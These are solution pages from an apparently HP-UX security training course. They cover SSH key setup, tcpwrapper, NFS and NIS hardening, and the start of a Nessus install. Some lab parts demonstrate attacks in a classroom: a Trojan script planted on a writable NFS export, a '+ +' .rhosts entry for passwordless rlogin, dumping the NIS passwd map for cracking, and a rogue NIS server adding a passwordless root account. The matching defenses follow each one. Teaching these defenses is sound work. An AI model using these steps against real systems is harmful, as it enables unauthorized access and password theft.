server$ cat /tmp/id_dsa.pub >> ~user1/.ssh/authorized_keys

7. Now see what happens if user1@client attempts to ssh to user1@server. What is

different this time?

client$ ssh user1@server

client$ exit

Answer:

No password is required this time since user1’s public key is included in

user1@server:/home/user1/.ssh/authorized_keys.

8. Login as user2@client and attempt to ssh to user1@server. What happens?

client$ su – user2
client$ ssh user1@server
client$ exit

Answer:

The connection should go through, but since user2’s public key isn’t in user1’s
authorized_keys file on the server, user2 is prompted for a password.

http://education.hp.com Solutions-77 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

9. For improved security, you may want to avoid UNIX password authentication entirely,
and only allow access to remote users whose public keys are included in your
authorized_keys file. In order to do this, you will have to edit the
PasswordAuthentication variable in the /etc/opt/ssh/sshd_config file on the
server, and restart the sshd daemon. Note that you must be logged in as root to modify
this file.

server# su -
server# vi /etc/opt/ssh/sshd_config
PasswordAuthentication no
server# /sbin/init.d/secsh stop
server# /sbin/init.d/secsh start

10. From user2@client, try to ssh to user1@server. What happens?

client$ su – user2
client$ ssh user1@server

Answer:

This should fail since user2’s public key isn’t included in

~user1/.ssh/authorized_keys.

11. What would you have to do to allow user2@client password to ssh to

user1@server?

Answer:

Login on the client as user2, run ssh-keygen, upload the public key file to the server,
and append the public key file contents to ~user1/.ssh/authorized_keys.

12. Exit out of all of your ssh and login sessions.

Part VI: Testing SSH Encryption

Back in Part I, you discovered that the telnet command passes cleartext passwords across
the network that can be easily "sniffed" using the nettl utility. In this part of the lab, you
will "sniff" an SSH connection to see if SSH suffers from the same vulnerabilities that plague
telnet. Both the client and server may try the steps suggested in this part of the lab.
1. SSH uses port number 22 rather than telnet port 23. Modify your .netfmtrc file
accordingly.

# vi ~/.netfmtrc
filter tcp_dport 22
filter ip_daddr X.X.X.X Enter your neighbor's IP address here

H3051S D.02 Solutions-78 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

2. Open a second window, and enable network tracing with the nettl command. Pipe the
nettl command output to netfmt to format the output.

# nettl -traceon pduin pduout -e ns_ls_tcp | \

netfmt –N | \
grep “0: “ &

3. While network tracing continues to run in the second window, return to your original
window, ssh to the system next to you, login as user1, execute a couple commands, then
logout.

# ssh user1@neighborhost
login: user1
password: xxxxx
# ll
# who
# exit

4. What did you see in the nettl window? Can you tell what user account and password
were used? Can you tell what commands were executed?

Answer:

Once again, nettl captured every keystroke issued during the session. However, since
SSH encrypts the entire session, usernames, passwords, and commands are unintelligible.

5. Turn off network tracing and close the second window.

# nettl –traceoff –e all

http://education.hp.com Solutions-79 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

13–21. LAB: Securing the Internet Services

Part I: Preliminary Steps

1. Before beginning this lab be sure that:
• inetd logging is disabled,
• telnet and ftp are both enabled in /etc/inetd.conf, and
• neither telnet nor ftp are secured in /var/adm/inetd.sec.

Part II: Installing and Configuring Tcpwrapper

1. You can download a precompiled version of Tcpwrapper from the HP software depot at
http://software.hp.com. Verify that the bundle has been installed on your classroom
system.

# swlist TCP-WRAPPERS

2. Modify the /etc/inetd.conf file to ensure that inetd calls tcpd rather than
telnetd when connection requests are received. If you want tcpwrapper to control
access to other services, too, repeat this configuration for each service's entry in
/etc/inetd.conf.

# vi /etc/inetd.conf
telnet stream tcp nowait root /usr/lbin/tcpd /usr/lbin/telnetd

3. Execute inetd -c to re-read the inetd.conf configuration file.

# inetd -c

4. Use the tcpdchk utility to check your tcpwrapper configuration for errors. In HP-UX,
you will see a warning message noting that REAL_DAEMON_DIR doesn’t exist. This is
expected.

# tcpdchk

5. Configure the /etc/hosts.deny file so tcpwrapper will deny all telnet access:

# vi /etc/hosts.deny
ALL: ALL

6. Configure /etc/hosts.allow to allow telnet access from your neighbor's machine.

# vi /etc/hosts.allow
ALL: neighborhost

H3051S D.02 Solutions-80 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

Part III: Experimenting with tcpwrapper

1. After configuring /etc/hosts.allow, initiate a telnet connection to your localhost.
This should fail. Can you explain why? Check the /var/adm/syslog/syslog.log
file for log messages attributed to the telnetd service.

# telnet localhost
# tail /var/adm/syslog/syslog.log

Answer:

In the previous part of the lab, we configured the /etc/hosts.allow file such that
your neighbor's host is the only host that is granted telnet access to your system, thus a
telnet attempt from your localhost should fail.

2. Ask your neighbor to attempt to telnet to your host. What happens? What appears in
your log file?

Answer:

This should succeed, and generate a "telnetd[xxx] connect from xxxx" message
in your host's syslog.log file.

3. Can you modify /etc/hosts.allow such that your neighbor's user1 is the only user
that can initiate telnet connections to your host? Make it so!

Answer:

# vi /etc/hosts.allow
ALL: user1@neighborhost

4. Configure a 15-second ident timeout in /etc/tcpd.conf.

# vi /etc/tcpd.conf
rfc931_timeout 15

5. Test your configuration! Ask your neighbor to attempt to telnet to your host, first from
their root account, then from their user1 account. Watch your log file. How are the log
messages this time different from the log messages you saw in questions #1 and #2 above?

Answer:

Root's telnet attempt should fail, but user1's attempt should succeed. However, in both
cases, the log file displays the name of the user that initiated the connection request.

http://education.hp.com Solutions-81 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

6. So far, we have only tested the telnet service. As presently configured, will tcpwrapper
authenticate FTP connection requests, too? Try it! Ask your neighbor to ftp to your
host. Watch your log file. Can you explain the results?

Answer:

Nothing appears in the log file, since the ftp entry in /etc/inetd.conf hasn't yet
been modified to call tcpd. When inetd receives the ftp connection request it passes
the request directly to ftpd, bypassing tcpd.

7. Modify your configuration so your host allows ftp access, as well as telnet access,
from your neighbor's user1 account. Test your configuration. Can root ftp to your host
from your neighbor's machine? Can user1 ftp to your host from your neighbor's
machine?

Answer:

Simply modify the ftp entry in /etc/inetd.conf so inetd calls tcpd rather than
ftpd when an ftp connection request is received.

# vi /etc/inetd.conf
ftp stream tcp nowait root /usr/lbin/tcpd /usr/lbin/ftpd -l
# inetd -c

8. Modify your configuration slightly: configure /etc/hosts.allow such

user1@neighborhost is the only user that can telnet to your machine, and
user2@neighborhost is the only user that can ftp to your machine.

Answer:

# vi /etc/hosts.allow
telnetd : user1@neighbor
ftpd : user2@neighbor

Part IV: Cleanup

Before continuing on to the next chapter, restore your system to its original state by running
the netfiles script. When asked if you wish to reboot your system, answer yes.

# /labs/scripts/netfiles -r INITIAL

H3051S D.02 Solutions-82 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

14–11. LAB: Improving NFS Security

Directions
In the exercises that follow you will work with two classmates to explore a number of NFS
security features and vulnerabilities. The exercise requires one NFS server, one NFS client,
and one hacker host. With your partners, decide which role each host will play:

NFS server: ______________________

NFS client: ______________________
hacker host: ______________________

Verify that your hosts have already been configured with basic NFS functionality. Both
server and client functionality should be configured by default in HP-UX. Make sure both
NFS_SERVER and NFS_CLIENT are set to "1" in all three hosts' nfsconf files:

grep ^NFS /etc/rc.config.d/nfsconf

Part I: Preliminary
1. Before going any further, run the spoc script as follows on the client and server:

server# /labs/scripts/spoc -v PATH netrc

client# /labs/scripts/spoc -v PATH netrc

2. On all three systems, temporarily change the permissions on /usr/local/bin back to

777, and remove the /usr/local/bin/mroe program that you created earlier in the
course.

# chmod 777 /usr/local/bin

# rm /usr/local/bin/mroe

Part II: How Hackers Exploit NFS File Systems

In this exercise, you will see how hackers can exploit an improperly configured NFS
environment. Later parts of the lab exercise will show you how to plug the security holes
explored here.
1. From the NFS server, export the /usr and /home file systems without any restrictions:

server# vi /etc/exports
/usr
/home

server# exportfs -a

http://education.hp.com Solutions-83 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

2. Mount the NFS server's /home/user1 and /usr/local/bin directories on both the
hacker host and the legitimate NFS client:

client# mount nfsserver:/usr/local/bin /usr/local/bin

client# mount nfsserver:/home/user1 /home/user1

hacker# mount nfsserver:/usr/local/bin /usr/local/bin

hacker# mount nfsserver:/home/user1 /home/user1

3. If a hacker can mount a writable NFS file system that contains executables, he or she may
replace a legitimate executable with a Trojan horse, or install unauthorized, harmful
software in that NFS file system. From the hacker host, create the following program in
the NFS file system:

hacker# vi /usr/local/bin/mroe
#!/usr/bin/sh
banner gotcha!
hacker# chmod +x /usr/local/bin/mroe

Now login as user1 on the client and mistype more /etc/passwd:

client# su - user1
client$ mroe /etc/passwd
client$ exit

What happens? The NFS server administrator and the user share the blame for this
security hole. What should the server administrator have done differently? What should
the user have done differently?

Answer:

When the user types mroe /etc/passwd, the hacker’s mroe script executes, removing
all the files from user1’s home directory. The server administrator and the user share the
blame in this situation. First, the administrator should have used the –access option in
the server’s /etc/exports file to prevent unauthorized hosts from mounting the file
system. However, the user is at fault, too: users should never include world-writeable
directories in their PATH variables!

H3051S D.02 Solutions-84 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

4. Exporting the /home file system world-writable can be just as dangerous. Do the
following from the hacker host:

hacker# su - user1
hacker$ vi /home/user1/.rhosts
+ +
hacker$ rlogin client

Note that the hacker may now rlogin to any host that has NFS-mounted /home from the
NFS server! Did the hacker have to know user1's password to gain access to the user's
account on the NFS client? What should the system administrator do to prevent this
dangerous situation? Before continuing on, exit out of the rlogin and su sessions.

Answer:

The hacker didn’t have to provide a password to login on the NFS client! This situation
could have been easily prevented. First, the administrator on the NFS server should use
the -access option in /etc/exports to control which hosts can mount the NFS file
systems. Second, the NFS client administrator should consider disabling the .rhosts
functionality by adding a -l to the end of the rlogind line in the /etc/inetd.conf
file.

5. Before moving on, unmount all the NFS file systems on the client and hacker hosts:

client# umount -aF nfs

hacker# umount -aF nfs

Part III: Managing NFS Access with -access and -ro

In the previous part of the lab exercise, you learned first-hand how dangerous an improperly
configured NFS environment can be. In this section, you will learn how to limit access to
your NFS file systems to prevent unauthorized access to your files and directories.
1. Modify the /etc/exports file on the NFS server to ensure that the legitimate NFS client
is the only host that can NFS mount the /home file system. Don't forget to do an
exportfs -a after making your changes!

Answer:

server# vi /etc/exports
/home –access=client
server# exportfs -a

http://education.hp.com Solutions-85 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

2. Attempt to re-mount /home/user1 on the client and hacker hosts. Was your
configuration successful? su to user1 on the client and attempt to touch a file in user1's
home directory.

Answer:

hacker# mount server:/home/user1 /home/user1 #FAILS!

client# mount server:/home/user1 /home/user1 #SUCCEEDS!
client# su – user1; touch f1; exit #SUCCEEDS!

3. Modify the /etc/exports file on the NFS server to ensure that the legitimate NFS client
is the only client that can mount the /usr file system. Also prevent the client from
making changes in /usr. Don't forget to do an exportfs -a after making your
changes!

Answer:

server# vi /etc/exports
/home –access=client
/usr -access=client,ro
server# exportfs -a

4. Attempt to re-mount /usr/local/bin on the client and hacker hosts. Was your
configuration successful? Try touching a file in /usr/local/bin to see if you
succeeded in denying write permission to the NFS clients.

Answer:

hacker# mount server:/usr/local/bin /usr/local/bin #FAILS!

client# mount server:/usr/local/bin /usr/local/bin #SUCCEEDS!
client# touch /usr/local/bin/f1 #TOUCH FAILS!

5. Whenever you change your exports file, it is a good idea to verify your configuration
with the showmount -e command. Do a showmount -e on the NFS server and note
the output.

server# showmount -e

Can you tell which hosts have access to which file systems?

Does showmount indicate which hosts have read permission, and which hosts have write
permission?

Answer:

showmount indicates which hosts can mount the file system, but it does not indicate
which hosts have read/write permission.

H3051S D.02 Solutions-86 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

6. Try executing showmount from the hacker host, too.

hacker# showmount -e server

Does this succeed? How might a hacker find this useful?

Answer:

Anybody can use the showmount command to see what file systems have been made
available from an NFS server. Hackers sometimes use the showmount command to
probe a network for NFS file systems to mount and exploit.

7. Before moving on, unmount all the NFS file systems on the hacker and client, unexport
the file systems from the server, and clobber /etc/exports:

client# umount -aF nfs

hacker# umount -aF nfs
server# exportfs -ua
server# >/etc/exports

Part IV: Managing NFS Access with -root

The previous part of the lab gave you an opportunity to experiment with the basic -ro and
-access NFS export options. This portion of the lab will add -root to your repertoire of
export options.
1. First, see what happens when a file system is exported without root access. Add /var to
the server's /etc/exports file.

server# vi /etc/exports
/var

server# exportfs -a

2. Mount /var/tmp on the client:

client# mount server:/var/tmp /var/tmp

3. Try creating a file in the NFS file system first from the server, and then from the client.

server# touch /var/tmp/roota.server

client# touch /var/tmp/roota.client

http://education.hp.com Solutions-87 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

4. Do a long listing of /var/tmp.

server# ll /var/tmp
client# ll /var/tmp

Who is the owner of the roota.server file?

Who is the owner of the roota.client file?

Answer:

roota.server should be owned by “root”.

roota.client should be owned by “nobody”.

5. Both /var/tmp/roota.server and /var/tmp/roota.client were created by root.

Why aren't both files owned by root? Would you consider this to be a "feature" or a "bug"?
Why?

Answer:

The administrator of an NFS client is always treated as user “nobody” when accessing
files and directories on an NFS server. This is a feature: NFS client administrators
oftentimes aren’t as well trained as NFS server administrators, and thus probably don’t
deserve root privileges on the NFS server’s files.

6. Consider the implications of what you just discovered. If a hacker successfully logs into
an NFS client, would he or she be able view/modify/remove any of the log files or
executables owned by root on the NFS server? Explain! (Assume that the file system
was exported without any export options)

Answer:

The hacker would have very limited access to files on the NFS server that are owned by
root, even if the hacker obtains root access on the NFS client.

7. If an administrator is responsible for both the NFS server and one or more NFS clients, he
or she may want to allow root access to the NFS files from both machines. Re-export
/var as follows:

server# vi /etc/exports
/var -root=client

server# exportfs -a

8. Remount the /var/tmp file system on the client:

client# umount /var/tmp

client# mount server:/var/tmp /var/tmp

H3051S D.02 Solutions-88 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

9. Try creating a new file from both the server and the client:

server# touch /var/tmp/rootb.server

client# touch /var/tmp/rootb.client

10. Do a long listing of the two new files. Who owns the new files this time?

Answer:

Both files are owned by “root” this time.

11. What might be the danger of the -root export option?

Answer:

If the hacker manages to compromise the NFS client, s/he may be able to wreak havoc on
files stored on the NFS server.

12. Before moving on, unmount all the NFS file systems on the client, unexport the file
systems from the server, and clobber /etc/exports:

client# umount -aF nfs

server# exportfs -ua
server# >/etc/exports

Part V: Managing NFS Access with Net Groups

In the previous two parts of the exercise, you limited access to the NFS server by explicitly
listing a series of host names after the -access export option. However, creating export
lists in this manner in large NFS environments can be very tedious. You may be able to save
some keystrokes by creating one or more NFS net groups.
1. Create an /etc/netgroup file on the NFS server. The netgroup file should include
two net groups: "sales" and "accounts". Put the NFS client and any two other hosts in the
"sales" net group. For the sake of variety, put the hacker host and any two other hosts in
the "accounts" net group:

server# vi /etc/netgroup
sales (client,,) (hosta,,) (hostb,,)
accounts (hacker,,) (hostc,,) (hostd,,)

2. On the NFS server, create an /etc/exports file that grants /home read-write mount
access to sales, and /usr read-only mount access to both net groups:

server# vi /etc/exports
/home -access=sales
/var -access=sales:accounts,ro

server# exportfs -a

http://education.hp.com Solutions-89 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

3. Verify your configuration with showmount -e. What does showmount report?

server# showmount -e

Answer:

/home sales
/var sales,accounts

4. Try mounting /home/user1 and /var/tmp on the client and hacker hosts. Did the net
groups appear to work as advertised?

Answer:

Yes.

5. Before moving on, unmount all the NFS file systems on the hacker and client, unexport
the file systems from the server, and clobber /etc/exports:

client# umount -aF nfs

hacker# umount -aF nfs
server# exportfs -ua
server# >/etc/exports

Part VI: Monitoring NFS Activity

If you suspect that a hacker may be attempting to illicitly access your NFS server, you may
wish to enable NFS logging. But how? This exercise gives you an opportunity to configure
and test the NFS tracing and logging functionality.
1. On the NFS server, export /home to the NFS client. Deny access to all other hosts.

server# vi /etc/exports
/home -access=client

2. Enable NFS logging with trace level "1" on the NFS server. Use /var/adm/nfs.log as
the log file name:

server# vi /etc/rc.config.d/nfsconf
MOUNTD_OPTIONS="-l /var/adm/nfs.log -t1"

3. Restart NFS server functionality to make the change take effect:

server# /sbin/init.d/nfs.server stop

server# /sbin/init.d/nfs.server start

4. Start monitoring the new log file:

server# tail -f /var/adm/nfs.log

H3051S D.02 Solutions-90 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

5. Try mounting the server's /home/user1 directory on the hacker host, and then on the
legitimate NFS client.

hacker# mount server:/home/user1 /home/user1

client# mount server:/home/user1 /home/user1

6. At trace level 1, does the server administrator have any record of successful mount
requests? What about failed mount requests?

Answer:

At trace level 1, only failed mount attempts are recorded in the NFS log file.

7. On the client, unmount the NFS file system. Does the log file appear to record umount
requests?

Answer:

No.

8. Repeat questions #2-6 again, but this time use trace level 2. What appears to be the
difference between log level 2 and log level 1?

Answer:

Trace level 2 generates much more output. Among other things, trace level 2 records
both successful and failed mount attempts.

9. If you suspect hacker activity, what should you look for in the NFS log file?

Answer:

Mount attempts from unknown hosts and repeated failed mount attempts are good
indications that your system has been targeted by a hacker that is attempting to exploit
NFS.

Part VII: Cleanup

Restore all three systems to their original states:

/labs/scripts/netfiles -r INITIAL

http://education.hp.com Solutions-91 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

15–10. LAB: Improving NIS Security

Directions
In the exercises that follow you will work with two classmates to secure and test your own
NIS domain. First, choose an NIS domain name for your team:

Domain name: ______________________

You will configure one of your hosts as an NIS master server, one as an NIS client, and use
the remaining host to hack into the NIS domain. Note that most NIS domain administrators
configure one or more slave servers to supplement the master server. In the interest of time,
we will only configure a master server for this exercise. Decide among yourselves which role
each host will play, and record your decisions below:

NIS Server: ______________________

NIS Client: ______________________
Hacker: ______________________

Part I: Configure the NIS Master Server

Enable NIS Master and Client functionality on the host you chose to be your NIS server.
Don't perform these steps on the client or hacker hosts yet!
1. Set the following variables in the /etc/rc.config.d/namesvrs configuration file
(leave all other variables in the file untouched):

# vi /etc/rc.config.d/namesvrs
NIS_MASTER_SERVER=1
NIS_CLIENT=1
NIS_DOMAIN=yourdomainname
YPBIND_OPTIONS="-s"

2. Set your domain name from the command line:

# domainname yourdomainname

3. Run ypinit to create the NIS maps:

# ypinit -m # accept the defaults for all questions

4. Start the NIS daemons:

# /sbin/init.d/nis.server start
# /sbin/init.d/nis.client start

H3051S D.02 Solutions-92 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

Part II: Limit Access to the NIS Master Server

By default, all users in the NIS password map can log into the NIS master server. It is
recommended, however, that you limit access to the master server. In this part of the lab,
you will configure the master server so "root" is the only authorized login.
1. Why can't you secure the master server by simply deleting all the user entries from
/etc/passwd?

Answer:

The master server’s /etc/passwd file is used by NIS to build the NIS passwd map.
Removing all of the user accounts from the master server’s /etc/passwd file would also
prevent the users from logging in on the NIS clients!

2. Create an alternate password file as a source for the NIS maps:

# cp /etc/passwd /etc/passwd.nis

3. Remove all the user accounts from /etc/passwd (Do not, however, remove accounts
with UID<100!):

# vipw

4. Remove all accounts with UID<100 from /etc/passwd.nis.

# vi /etc/passwd.nis

5. Modify the YPPASSWDD_OPTIONS variable in /etc/rc.config.d/namesvrs so the

yppasswdd daemon uses passwd.nis to rebuild the passwd map:

# vi /etc/rc.config.d/namesvrs
Change: YPPASSWDD_OPTIONS="/etc/passwd -m passwd \
PWFILE=/etc/passwd"
To: YPPASSWDD_OPTIONS="/etc/passwd.nis -m passwd \
PWFILE=/etc/passwd.nis"

6. Stop and restart the NIS server daemons:

# /sbin/init.d/nis.server stop
# /sbin/init.d/nis.server start

7. Modify /var/yp/ypmake to ensure that it, too, uses passwd.nis when rebuilding the
passwd map:

# vi /var/yp/ypmake

Change: PWFILE=${PWFILE:-$DIR/passwd}
To: PWFILE=${PWFILE:-$DIR/passwd.nis}

http://education.hp.com Solutions-93 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

8. Edit /var/yp/Makefile to ensure that it, too, uses passwd.nis when rebuilding the
passwd map.

Change: PWFILE=${DIR}/passwd
To: PWFILE=${DIR}/passwd.nis

9. Rebuild and propagate the new passwd maps.

# /var/yp/ypmake passwd

10. Modify /etc/nsswitch.conf:

# vi /etc/nsswitch.conf
passwd: compat
group: compat

11. Make sure your configuration worked! See if you can su to user1 on the master server.
Does it succeed? Explain!

Answer:

su’ing to user1’s account fails since user1’s account was deleted from the master’s
/etc/passwd file.

H3051S D.02 Solutions-94 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

Part III: Configure the NIS client

Now that you have a functional NIS server, configure and test an NIS client.
1. Enable NIS client functionality in /etc/rc.config.d/namesvrs.

Ensure that ypbind is started with the -s (secure) option.

# vi /etc/rc.config.d/namesvrs
NIS_CLIENT=1
NIS_DOMAIN=yourdomainname
YPBIND_OPTIONS="-s"

2. Remove all user entries from /etc/passwd:

# vipw remove all accounts with userid > 99

3. Start up the NIS client side daemons, and verify that ypbind succeeded:

# /sbin/init.d/nis.client start
# ypwhich

4. Test the configuration! On the client, try to su to user1, user11, and user21. Which of
these su's should succeed? Which should fail? Did your configuration appear to work?

Answer:

All three su attempts should succeed.

http://education.hp.com Solutions-95 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

Part IV: Limit Access to the Client with Escape Entries

By default in HPUX 11.0 and beyond, all users in the NIS passwd map may login on an NIS
client. You may, however, prefer to allow only a subset of the NIS users to login on selected
hosts in your domain. In this part of the lab, you will limit access to the NIS client by
configuring "escape entries" in the client's /etc/passwd file.
1. Modify (or create) /etc/nsswitch.conf to allow escape entries in /etc/passwd:

# vi /etc/nsswitch.conf
passwd: compat
group: compat

2. Remove all user entries from /etc/passwd and add escape entries for user1 through
user5:

# vipw add the following lines to the end of /etc/passwd:

+user1
+user2
+user3
+user4
+user5

3. Test the configuration! On the client, try to su to user1, user11, and user21. Which of
these su's should succeed? Which should fail? Did your configuration appear to work?

Answer:

Since escape entries only exist for user1-5, only the su attempt to user1 should succeed.

H3051S D.02 Solutions-96 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

Part V: Limit Access to the Client with NIS Netgroups

In the previous part of the exercise, you configured an NIS client to allow NIS login access
for users 1 through 5. Creating escape entries for individual users in a large NIS domain can
quickly become tedious. In this part of the exercise, you will configure two NIS net groups to
simplify /etc/passwd configuration on the NIS clients.
1. Create an /etc/netgroup file on the NIS server. The netgroup file should include two
net groups:

user10-user14 sales netgroup

user15-user19 accounts netgroup

# vi /etc/netgroup
sales (,user10,) (,user11,) (,user12,) (,user13,) (,user14,)
accounts (,user15,) (,user16,) (,user17,) (,user18,) (,user19,)

2. Rebuild the netgroup map on the NIS server:

# /var/yp/ypmake netgroup

3. Modify /etc/passwd on the NIS client to allow NIS logins for the users in the accounts and
sales net groups.

# vi /etc/passwd
(add the following lines)
+@sales
+@accounts

4. In what situations might netgroups be advantageous?

Answer:

Netgroups can greatly simplify NIS administration in large environments where entire
departments or groups of users need access to one or more hosts.

5. Test the configuration! On the client, try to su to user1, user11, and user21. Which of
these su's should succeed? Which should fail? Did your configuration appear to work?

Answer:

The su attempt to “user1” should succeed since user1 is still explicitly listed in the
/etc/passwd file. The su attempt to user11 should succeed since user11 is a member
of the “sales” group. The su attempt to user21 should fail, since user21 isn’t listed
explicitly in the file, nor is user21 a member of the sales or accounts netgroups.

http://education.hp.com Solutions-97 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

Part VI: How Hackers Gain Unauthorized Access to an NIS domain

Does NIS check the credentials of hosts attempting to join a domain? In this exercise you
will find out!
1. Configure your designated hacker host as a client of your NIS domain by modifying
/etc/rc.config.d/namesvrs:

# vi /etc/rc.config.d/namesvrs
NIS_CLIENT=1
NIS_DOMAIN=yourdomainname

2. On the hacker host, run the NIS client startup script:

# /sbin/init.d/nis.client start

3. Did the hacker successfully join the domain? See if the hacker can dump the NIS
password map for the domain out to a temporary file. Did the NIS server administrator
receive any notification that the hacker host joined the domain?

# ypcat passwd > /tmp/passwd

Answer:

The hacker should have successfully joined the domain, as evidenced by the fact that the
ypcat command successfully dumps the passwd map from the NIS server. However, the
NIS server administrator does not receive any notification that the hacker joined the
domain!

4. What information did the hacker need to gain access to the NIS domain's password map?
How might the hacker exploit the just-created /tmp/passwd file?

Answer:

All the hacker needed to join the domain was the domain name. After binding to the NIS
server, the hacker was able to dump a copy of the passwd map to a temporary file, which
could then be analyzed with a password cracker!

H3051S D.02 Solutions-98 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

Part VII: Excluding Unauthorized Hosts from NIS Domains

In the previous part of the lab, you saw how easy it is for hackers to access maps in an NIS
domain. In this part of the lab, you will have a chance to lock unauthorized hosts out of your
NIS domain.
1. Shutdown NIS server and client functionality on all three of your hosts.

# /sbin/init.d/nis.client stop
# /sbin/init.d/nis.server stop

2. On the NIS server, open the /var/yp/securenets configuration file for editing. Each
line in the file defines a host, network, or subnet that is authorized to join the server's NIS
domain. Add two lines to the file; one for the NIS server itself, and one for the authorized
NIS client:

# vi /var/yp/securenets
255.255.255.255 128.1.1.1 # use your server's IP here
255.255.255.255 128.1.1.2 # use your client's IP here

3. Restart the NIS server functionality on your NIS server:

# /sbin/init.d/nis.server start

4. Attempt to restart the NIS client functionality on all three machines.

# /sbin/init.d/nis.client start

5. What happened? Try dumping the passwd map on each host to see which hosts
successfully joined the NIS domain:

# ypcat passwd

Answer:

The startup scripts don’t display any error messages, so it appears as if all three machines
successfully bound to the NIS server. However, the ypcat command fails on the hacker
host, so, in fact, the /var/yp/secureservers file appears to be properly screening
incoming ypbind requests.

http://education.hp.com Solutions-99 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

Part VIII: How Hackers Configure Bogus NIS Servers

In this exercise, you will configure your hacker host as a bogus NIS name server and wreak
havoc on the NIS clients!
1. Shutdown NIS client functionality on all three hosts.

# /sbin/init.d/nis.client stop

2. Repeat the steps performed in Part I (Configuring an NIS server) on the hacker host.

Answer:

# vi /etc/rc.config.d/namesvrs
NIS_MASTER_SERVER=1
NIS_CLIENT=1
NIS_DOMAIN=yourdomain
YPBIND_OPTIONS=”-s”

# domainname yourdomain
# ypinit -m
# /sbin/init.d/nis.server start
# /sbin/init.d/nis.client start

3. Pull the LAN cable from the LAN interface card on the legitimate NIS server, then restart
NIS client functionality on the NIS server and client.

# /sbin/init.d/nis.client start

4. Which server did the client bind to? (Note that if both servers had been connected to the
LAN, the client would have bound to whichever server responded to the client's
broadcast first. If the legitimate NIS server were down or busy, there is a good chance
that the client would bind to the bogus server!)

# ypwhich

5. On the hacker host, create a new /etc/passwd entry for a user called "hacker" and
rebuild the passwd map (Be patient. ypmake may take several minutes).

# vi /etc/passwd
hacker::0:3:hacker:/:/usr/bin/sh

# /var/yp/ypmake passwd

H3051S D.02 Solutions-100 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

6. Now try logging into the NIS client with username "hacker" and see what happens! How
is this situation dangerous?

Answer:

The login succeeds! This demonstrates that if a hacker can convince clients to bind to a
bogus NIS server, the hacker can create, modify, and remove user accounts throughout
the NIS domain!

http://education.hp.com Solutions-101 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

Part IX: Protecting Clients against Bogus NIS Servers

You have seen the danger presented by bogus NIS servers. In this part of the lab you will see
how to prevent NIS clients from binding to bogus servers.
1. Shutdown NIS client functionality on the NIS client.

# /sbin/init.d/nis.client stop

2. Add the legitimate NIS server's IP address to the /var/yp/secureservers

configuration file on the NIS client.

# vi /var/yp/secureservers
255.255.255.255 128.1.1.1 # use your server's IP here

3. Make sure the legitimate server's LAN cable is still disconnected, and restart the client's
NIS functionality: (Be patient)

# /sbin/init.d/nis.client start

4. Did the client bind to the hacker's bogus NIS server this time? Execute ypwhich on the
client to find out!

# ypwhich

Answer:

The ypbind command should have generated an error message indicating that the
ypbind attempt was unsuccessful. Although the hacker host responded to the client’s
ypbind broadcast, the client refused to bind to the hacker’s response since the hacker’s IP
wasn’t listed in the client’s /var/yp/secureservers file.

5. ypbind actually records its activity in /var/adm/syslog/syslog.log. Look in the

syslog.log file to see what was recorded in the syslog:

# tail /var/adm/syslog/syslog.log

Answer:

The syslog file should contain an error message from ypbind indicating that access
was denied for the hacker host’s IP address.

H3051S D.02 Solutions-102 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

6. Reconnect the legitimate server's LAN cable, stop and restart the client's NIS
functionality, and verify that the client binds to the right server this time:

# /sbin/init.d/nis.client stop
# /sbin/init.d/nis.client start
# ypwhich

Answer:

This time, your client should successfully bind to the legitimate NIS server.

Part X: Cleanup
Before continuing on to the next chapter, restore your system to its original state by running
the netfiles script. When asked if you wish to reboot your system, answer yes.

# /labs/scripts/netfiles -r INITIAL

http://education.hp.com Solutions-103 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

16–11. LAB: Configuring and Running Nessus

Directions
Carefully follow the instructions below.

Part I: Installing Nessus

1. VERY IMPORTANT!!! Verify that your instructor has disconnected the classroom from
the Education Center network before proceeding.

2. Verify that the OpenSSL and KRNG11i products have been installed on your system. If
not, download and install them from http://software.hp.com.

# swlist ixOpenSSL

# swlist KRNG11i

3. Nessus should be installed in your /secure file system to ensure that it isn’t available to
hackers. Create a /secure/nessus directory, and download the nessus-
installer.sh program from http://www.nessus.org/. For the purposes of this
class, you can simply copy the program from /labs/nessus/ directory.

# mkdir /secure/nessus
# cd /secure/nessus
# cp /labs/nessus/nessus-installer.sh /secure/nessus

4. Verify that /usr/local/bin is at the beginning of your PATH, and run the nessus-
installer.sh script. When asked where you want to install Nessus, answer
/secure/nessus. Relax for a while the program installs and compiles Nessus for you.
You may see a few errors, but the program should still compile and run successfully.

# PATH=/usr/local/bin:$PATH
# sh ./nessus-installer.sh
Where do you want the whole Nessus package to be installed?
[/usr/local] /secure/nessus

5. Create SSL certificates for your host. These will be used to provide a secure channel of
communication to the system you use to run the GUI interface.

# /secure/nessus/sbin/nessus-mkcert

